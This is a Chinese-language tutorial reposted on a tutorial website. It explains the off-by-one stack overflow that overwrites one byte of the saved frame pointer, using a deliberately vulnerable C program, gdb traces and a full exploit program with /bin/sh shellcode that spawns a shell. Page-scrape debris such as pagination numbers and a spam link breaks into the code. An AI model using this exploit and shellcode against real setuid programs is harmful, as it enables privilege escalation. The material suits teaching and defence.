缓冲区溢出,单字节缓冲区溢出

单字节缓冲区溢出 - 网络安全 - 电脑教程网

单字节缓冲区溢出

日期:2007-07-11   荐:
<!--StartFragment-->通常的缓冲区溢出就是通过重写堆栈中存储的EIP内容,使程序跳转到我们的
shellcode处执行。其实,即使缓冲区只溢出一个字节的时候,也有可能去执行我们
的代码。这听起来有些不可思议,其实还是很有可能的,下面我们就来看看这是如何
实现的。我们先写一个有弱点的程序,它只能被溢出一个字节:

ipdev:~/tests$ cat > suid.c=版权所有  软件 下载  学院  版权所有=

#include
func ( char * sm )
{
    char buffer[256];
    int  i;
    /* 最多可以拷贝257个字节到一个256字节的缓冲区中 */
    for ( i = 0; i <= 256; i++ )
    {
        buffer[ i ] = sm[ i ];
    }
}

main ( int argc, char * argv[] )
{
    if ( argc < 2 )
    {
        printf( "missing args\n" );
        exit( -1 );
    }
    func( argv[1] );
}
^D
ipdev:~/tests$ gcc -o suid suid.c
ipdev:~/tests$

我们可以看到,我们只能拷贝257个字节到一个256字节的缓冲区中,也就是说,我们
只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢?还
是先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:

ipdev:~/tests$ gdb ./suid
...
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134    :    pushl  %ebp
0x8048135  :    movl   %esp,%ebp
0x8048137  :    subl   $0x104,%esp
0x804813d  :    nop
0x804813e :    movl   $0x0,0xfffffefc(%ebp)
0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
0x8048152 :    jle    0x8048158
0x8048154 :    jmp    0x804817c
0x8048156 :    leal   (%esi),%esi
0x8048158 :    leal   0xffffff00(%ebp),%edx
0x804815e :    movl   %edx,%eax
0x8048160 :    addl   0xfffffefc(%ebp),%eax
0x8048166 :    movl   0x8(%ebp),%edx
0x8048169 :    addl   0xfffffefc(%ebp),%edx
0x804816f :    movb   (%edx),%cl
0x8048171 :    movb   %cl,(%eax)
0x8048173 :    incl   0xfffffefc(%ebp)
0x8048179 :    jmp    0x8048148
0x804817b :    nop
0x804817c :    movl   %ebp,%esp
0x804817e :    popl   %ebp
0x804817f :    ret

[1] [2] [3] [4] [5] [6] [7] [8] [9]  

End of assembler dump.
(gdb)

当call指令被调用时,进程首先将%eip(下一条要执行指令的地址)压入堆栈。然后将
%ebp的内容压入堆栈,就象在*0x8048134处所看到的。接着进程将当前堆栈的地址拷
贝到%ebp中,接着为局部变量分配<a href='http://idc.77169.com' color='#bb0000'><FONT color=#f73809>空间</Font></a>,%esp减小0x104字节(256+4)。buffer[]占用
了256字节(0x100),整型变量i占4个字节。在溢出发生以前,我们的堆栈中的情况如
下:

栈顶(低地址)
|---------|
|    i    |        4字节
|---------|\
| buff[0] |  \
|---------|   |
| buff[1] |   |
|---------|   |--> 256字节
| ....... |   |
|---------|   |
|buff[255]|  /
|---------|/
|保存的ebp|        4字节
|---------|
|保存的eip|        4字节
|---------|
栈底(高地址)

这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针(func()开始执行前被压入堆
栈),如何利用这个字节来改变程序的执行呢?我们先来看看%ebp中内容的变化情况。
当func()将要结束时,%ebp从堆栈中被恢复。见。让我们再看看接下来发
生了什么,还是利用gdb来反汇编main():

(gdb) disassemble main
Dump of assembler code for function main:
0x8048180    :    pushl  %ebp
0x8048181  :    movl   %esp,%ebp
0x8048183  :    cmpl   $0x1,0x8(%ebp)
0x8048187  :    jg     0x80481a0
0x8048189  :    pushl  $0x8058ad8
0x804818e :    call   0x80481b8
0x8048193 :    addl   $0x4,%esp
0x8048196 :    pushl  $0xffffffff
0x8048198 :    call   0x804d598
0x804819d :    addl   $0x4,%esp
0x80481a0 :    movl   0xc(%ebp),%eax
0x80481a3 :    addl   $0x4,%eax
0x80481a6 :    movl   (%eax),%edx
0x80481a8 :    pushl  %edx
0x80481a9 :    call   0x8048134
0x80481ae :    addl   $0x4,%esp
0x80481b1 :    movl   %ebp,%esp
0x80481b3 :    popl   %ebp
0x80481b4 :    ret
0x80481b5 :    nop
0x80481b6 :    nop
0x80481b7 :    nop
End of assembler dump.
(gdb)

当func()调用结束后,%ebp将会被拷贝到%esp中,见,这意味着我们可以
改变%esp成到其他值,但并不是任意的,因为我们只能修改%ebp的最后一个字节。

(gdb) disassemble main
Dump of assembler code for function main:
0x8048180    :    pushl  %ebp
0x8048181  :    movl   %esp,%ebp
0x8048183  :    cmpl   $0x1,0x8(%ebp)
0x8048187  :    jg     0x80481a0
0x8048189  :    pushl  $0x8058ad8
0x804818e :    call   0x80481b8

 [1] [2] [3] [4] [5] [6] [7] [8] [9]  

0x8048193 :    addl   $0x4,%esp
0x8048196 :    pushl  $0xffffffff
0x8048198 :    call   0x804d598
0x804819d :    addl   $0x4,%esp
0x80481a0 :    movl   0xc(%ebp),%eax
0x80481a3 :    addl   $0x4,%eax
0x80481a6 :    movl   (%eax),%edx
0x80481a8 :    pushl  %edx
0x80481a9 :    call   0x8048134
0x80481ae :    addl   $0x4,%esp
0x80481b1 :    movl   %ebp,%esp
0x80481b3 :    popl   %ebp
0x80481b4 :    ret
0x80481b5 :    nop
0x80481b6 :    nop
0x80481b7 :    nop
End of assembler dump.
(gdb) break *0x80481b4
Breakpoint 2 at 0x80481b4
(gdb) run `perl -e 'print "A"x257'`
Starting program: /home/klog/tests/suid `overflow 257`

Breakpoint 2, 0x80481b4 in main ()
(gdb) info register esp
esp            0xbffffd45       0xbffffd45
(gdb)

在溢出发生后,%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41)
被拷贝到%esp中作为新的堆栈指针,见,main()会再从堆栈中弹出保存的
%ebp到%ebp中,这时%esp的值会再增加4个字节(栈顶向高地址方向缩短4个字节)。这
时我们看到的%esp的值就是:

0xbffffd45 = 0xbffffd41 + 0x41

很明显,我们不能在func()中直接改变原来被保存的%eip的值,但可以修改main()中
的%esp的值。当进程从一个过程返回的时候,只是弹出堆栈栈顶的第一个字(4字节),
将它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以
让进程弹出一个我们设定的值,然后进程就会跳到那里去执行我们的程序代码。我们
可以构造一个buffer用来完成我们的工作:

[nops][shellcode][&shellcode][改变%ebp的字节]

这样当溢出发生时堆栈中的情况就是这样的:

栈顶(低地址)
|---------|
|    i    |        4字节
|---------|\
| 0x90    |  \
|---------|   |
| 0x90    |   |
|---------|   |--> 256字节
| ....... |   |
|---------|   |
|shellcode|   |
| ....... |   |
|---------|   |
|跳转地址 |  /
|---------|/
|保存的ebp|        4字节(最低的一个字节被覆盖)
|---------|
|保存的eip|        4字节
|---------|
栈底(高地址)

我们想让%esp指向跳转地址,以便当从main()中返回时这个跳转地址会被弹入到%eip
中,从而去执行我们的shellcode代码。现在我们需要得到的是被覆盖的buffer的地
址和跳转地址的值。我们不得不先写一个程序来构造一下真实攻击时的场景:

ipdev:~/tests$ cat > fake_eXP.c
#include
#include
main ()
{
    int i;
    char buffer[1024];

    bzero(&buffer, 1024);
    for (i=0;i<=256;i++)
    {
        buffer[i] = 'A';
    }
    execl("./suid", "suid", buffer, NULL);

 [1] [2] [3] [4] [5] [6] [7] [8] [9]  

}
^D
ipdev:~/tests$ gcc fake_exp.c -o fake_exp
ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp2

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb) disassemble func
Dump of assembler code for function func:
0x8048134    :    pushl  %ebp
0x8048135  :    movl   %esp,%ebp
0x8048137  :    subl   $0x104,%esp
0x804813d  :    nop
0x804813e :    movl   $0x0,0xfffffefc(%ebp)
0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
0x8048152 :    jle    0x8048158
0x8048154 :    jmp    0x804817c
0x8048156 :    leal   (%esi),%esi
0x8048158 :    leal   0xffffff00(%ebp),%edx
0x804815e :    movl   %edx,%eax
0x8048160 :    addl   0xfffffefc(%ebp),%eax
0x8048166 :    movl   0x8(%ebp),%edx
0x8048169 :    addl   0xfffffefc(%ebp),%edx
0x804816f :    movb   (%edx),%cl
0x8048171 :    movb   %cl,(%eax)
0x8048173 :    incl   0xfffffefc(%ebp)
0x8048179 :    jmp    0x8048148
0x804817b :    nop
0x804817c :    movl   %ebp,%esp
0x804817e :    popl   %ebp
0x804817f :    ret
End of assembler dump.
(gdb) break *0x804813d
Breakpoint 1 at 0x804813d
(gdb) c
Continuing.

Breakpoint 1, 0x804813d in func ()
(gdb) info register esp
esp            0xbffffc60       0xbffffc60
(gdb)

从上面的分析,我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
开始的,指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100(buffer大
小)-0x04(跳转地址大小)=0xbffffd60处。

有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
最后一个字节。这里要减去4个字节是因为当从main()中返回时,%esp会增加4个字节
(因为弹出了保存的%ebp)。跳转地址的值并不需要是shellcode的起始地址,只要是
NOP指令之间的某个地址即可,就象通常的溢出程序一样。即:
0xbffffc64---(0xbffffd64-shellcode大小)。我们这里选用0xbffffc74。

ipdev:~/tests$ cat > exp.c
#include
#include

char sc_Linux[] =
    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
    "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
    "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
    "\xd7\xff\xff\xff/bin/sh";

main ()
{
    int  i, j;
    char buffer[1024];

    bzero( &buffer, 1024 );

 [1] [2] [3] [4] [5] [6] [7] [8] [9]  

    for ( i = 0; i <= ( 252 - sizeof( sc_linux ) ); i++ )
    {
        buffer[i] = 0x90;
    }
    for ( j = 0, i = i; j < ( sizeof( sc_linux ) - 1 ); i++, j++ )
    {
        buffer[i] = sc_linux[j];
    }
    buffer[i++] = 0x74;
    buffer[i++] = 0xfc;  /* 跳转地址 */
    buffer[i++] = 0xff;
    buffer[i++] = 0xbf;
    buffer[i++] = 0x5c;  /* 用来覆盖%ebp的字节 */
    execl( "./suid", "suid", buffer, NULL );
}
^D
ipdev:~/tests$ gcc exp.c -o exp
ipdev:~/tests$ ./exp
bash$

成功了。现在让我们仔细看一下到底发生了些什么:

ipdev:~/tests$ gdb --exec=exp --symbols=suid
...
(gdb) run
Starting program: /home/klog/tests/exp

Program received signal SIGTRAP, Trace/breakpoint trap.
0x8048090 in ___crt_dummy__ ()
(gdb)

我们先设置几个断点来观察被覆盖的栈帧指针的值:

(gdb) disassemble func
Dump of assembler code for function func:
0x8048134    :    pushl  %ebp
0x8048135  :    movl   %esp,%ebp
0x8048137  :    subl   $0x104,%esp
0x804813d  :    nop
0x804813e :    movl   $0x0,0xfffffefc(%ebp)
0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
0x8048152 :    jle    0x8048158
0x8048154 :    jmp    0x804817c
0x8048156 :    leal   (%esi),%esi
0x8048158 :    leal   0xffffff00(%ebp),%edx
0x804815e :    movl   %edx,%eax
0x8048160 :    addl   0xfffffefc(%ebp),%eax
0x8048166 :    movl   0x8(%ebp),%edx
0x8048169 :    addl   0xfffffefc(%ebp),%edx
0x804816f :    movb   (%edx),%cl
0x8048171 :    movb   %cl,(%eax)
0x8048173 :    incl   0xfffffefc(%ebp)
0x8048179 :    jmp    0x8048148
0x804817b :    nop
0x804817c :    movl   %ebp,%esp
0x804817e :    popl   %ebp
0x804817f :    ret
End of assembler dump.
(gdb) break *0x804817e
Breakpoint 1 at 0x804817e
(gdb) break *0x804817f
Breakpoint 2 at 0x804817f
(gdb)

上面的断点用来监视在从堆栈弹出前和弹出后%ebp的变化:

(gdb) disassemble main
Dump of assembler code for function main:
0x8048180    :    pushl  %ebp
0x8048181  :    movl   %esp,%ebp
0x8048183  :    cmpl   $0x1,0x8(%ebp)

 [1] [2] [3] [4] [5] [6] [7] [8] [9]  

0x8048187  :    jg     0x80481a0
0x8048189  :    pushl  $0x8058ad8
0x804818e :    call   0x80481b8 <_IO_printf>
0x8048193 :    addl   $0x4,%esp
0x8048196 :    pushl  $0xffffffff
0x8048198 :    call   0x804d598
0x804819d :    addl   $0x4,%esp
0x80481a0 :    movl   0xc(%ebp),%eax
0x80481a3 :    addl   $0x4,%eax
0x80481a6 :    movl   (%eax),%edx
0x80481a8 :    pushl  %edx
0x80481a9 :    call   0x8048134
0x80481ae :    addl   $0x4,%esp
0x80481b1 :    movl   %ebp,%esp
0x80481b3 :    popl   %ebp
0x80481b4 :    ret
0x80481b5 :    nop
0x80481b6 :    nop
0x80481b7 :    nop
End of assembler dump.
(gdb) break *0x80481b3
Breakpoint 3 at 0x80481b3
(gdb) break *0x80481b4
Breakpoint 4 at 0x80481b4
(gdb)

上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。现
在让我们来运行程序:

(gdb) c
Continuing.

Breakpoint 1, 0x804817e in func ()
(gdb) info reg ebp
ebp            0xbffffd64       0xbffffd64

这是%ebp的原来的内容

(gdb) c
Continuing.

Breakpoint 2, 0x804817f in func ()
(gdb) info reg ebp
ebp            0xbffffd5c       0xbffffd5c

溢出后,我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)

(gdb) c
Continuing.

Breakpoint 3, 0x80481b3 in main ()
(gdb) info reg esp
esp            0xbffffd5c       0xbffffd5c
(gdb) c
Continuing.

此时%esp指向0xbffffd5c

Breakpoint 4, 0x80481b4 in main ()
(gdb) info reg esp
esp            0xbffffd60       0xbffffd60

弹出保存的%ebp后,%esp增加了4个字节,指向我们存放跳转地址的位置

(gdb)

看一下此时堆栈中的情况:

(gdb) x 0xbffffd60
0xbffffd60 <__collate_table+3086619092>:        0xbffffc74

这里确实存放着我们的跳转地址

(gdb) x/10 0xbffffc74
0xbffffc74 <__collate_table+3086618856>:        0x90909090
0x90909090  0x90909090       0x90909090
0xbffffc84 <__collate_table+3086618872>:        0x90909090
0x90909090  0x90909090       0x90909090
0xbffffc94 <__collate_table+3086618888>:        0x90909090

 [1] [2] [3] [4] [5] [6] [7] [8] [9]  

0x90909090
(gdb)

跳转地址指向NOP串的中间,这也就是我们的shellcode开始执行的地方。

(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000990 in ?? ()
(gdb) c
Continuing.
bash$

下面的简图大致描述了%ebp与%esp的变化:

      func()中,返回前         main()中              main()中              main()中

          栈顶(低地址)       addl $0x4,%esp        movl %ebp,%esp        popl %ebp
         
0xbffffc60|----------|         |----------|          |----------|          |----------|
          |    i     |         |    i     |          |    i     |          |    i     |
0xbffffc64|----------|         |----------|          |----------|          |----------|
          | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
          |----------|         |----------|          |----------|          |----------|
          | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
          |----------|         |----------|          |----------|          |----------|
  ----->  | .......  |         | .......  |          | .......  |          | .......  |

 [1] [2] [3] [4] [5] [6] [7] [8] [9]  

|        |----------|         |----------|          |----------|          |----------|
|        |shellcode |         |shellcode |          |shellcode |          |shellcode |
|        | .......  |         | .......  |  %esp--->| .......  |0xbffffd5c|......... |
0xbffffd60|----------|         |----------|          |----------|   %esp-->|----------|
|-----   |0xbffffc74|         |0xbffffc74|          |0xbffffc74|          |0xbffffc74| -->%eip
0xbffffd64|----------|         |----------|          |----------|          |----------|
保存的ebp |0xbffffd5c|         |0xbffffd5c|          |0xbffffd5c|          |0xbffffd5c|
  %esp--->|----------|         |----------|          |----------|          |----------|
          |保存的eip |         |保存的eip |          |保存的eip |          |保存的eip |
          |----------|  %esp-->|----------|          |----------|          |----------|

结束语:

这种方法看起来很不错,它也存在一些问题。只覆盖一个字节来进行攻击理论上当然
是可行的,但也需要一些条件。首先,它需要知道buffer的地址,这要求我们要能构
造相同的攻击环境以便得到这些值,这通常是比较困难的,特别是在远程机器上。由
于只能溢出一个字节,我们的buffer必须紧挨着栈帧指针,也就是说,要溢出的
buffer必须是函数中第一个被声明的变量。对于big endian结构的系统,%ebp在内存
中的顺序是高字节在前低字节在后,所以将会覆盖掉ebp的高字节,我们不得不保证
我们的程序可以跳到那个地址去执行。=版权所有  软件 下载  学院  版权所有=

尽管如此,这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽

 [1] [2] [3] [4] [5] [6] [7] [8] [9]  

也可能导致严重的安全问题

(出处:http://www.sheup.com)


 [1] [2] [3] [4] [5] [6] [7] [8] [9] 

标签: